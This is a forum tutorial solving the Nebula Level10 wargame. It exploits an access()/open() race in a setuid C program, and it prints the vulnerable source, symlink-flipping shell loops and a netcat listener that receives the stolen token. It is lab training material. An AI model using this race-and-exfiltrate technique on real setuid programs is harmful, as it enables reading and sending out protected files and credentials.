How to pwned Nebula : Level10 - access() Race condition

Exploit-Exercice : Nebula


Level10 - access() Race condition

Hi everyone ! I hope your ready to hack nebula because this exploit is a fun one !

In today’s Tutorial we will learn how to exploit a bad implementation of access() and get the flag

Let’s begin !

The Source code

exploit-exercice provides us the C source code of the vulnerable program. Let’s read the code and understand what the heck is going on.

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file; 
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }
  
  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

The important function in this program are access() and open()

Let’s read the man page of access() and open()

Here the imporant lines in the man page for the access function :

access() checks whether the calling process can access the file path-
name.

The check is done using the calling process’s real UID and GID, rather
than the effective IDs as is done when actually attempting an operation
(e.g., open(2)) on the file. This allows set-user-ID programs to eas-
ily determine the invoking user’s authority.

if we use a file that we own as an argument, the program will read it and send it
if we’re no supposed to read the file we’ll have an access denied.

How can we read the token ?

We need to pass the access check, so here how the attack will work

  1. Create a file
    Making a while loop that
  2. Create a symlink to our file
  3. Create a symlink to the token
#!/bin/sh
touch HackyFile
touch /tmp/hackfile
while true; do
    ln -sf HackyFile /tmp/hackfile
    ln -sf token /tmp/hackfile
done

Here another script to run the program in an infinite loop we will call this program runit.sh

#!/bin/sh
while true; do
    /home/flag10/flag10 /tmp/hackfile ip_of_our_listener
done

With another pc , open nc

while true; nc -lvp 18211; done

This is not the best way ^^^ but you get the idea

now just run the two script we created

./exploit.sh &
./runit.sh &

Enjoy the flag
Note you will need to do a ctrl+z to stop the netcat program

4 Likes

This topic was automatically closed after 30 days. New replies are no longer allowed.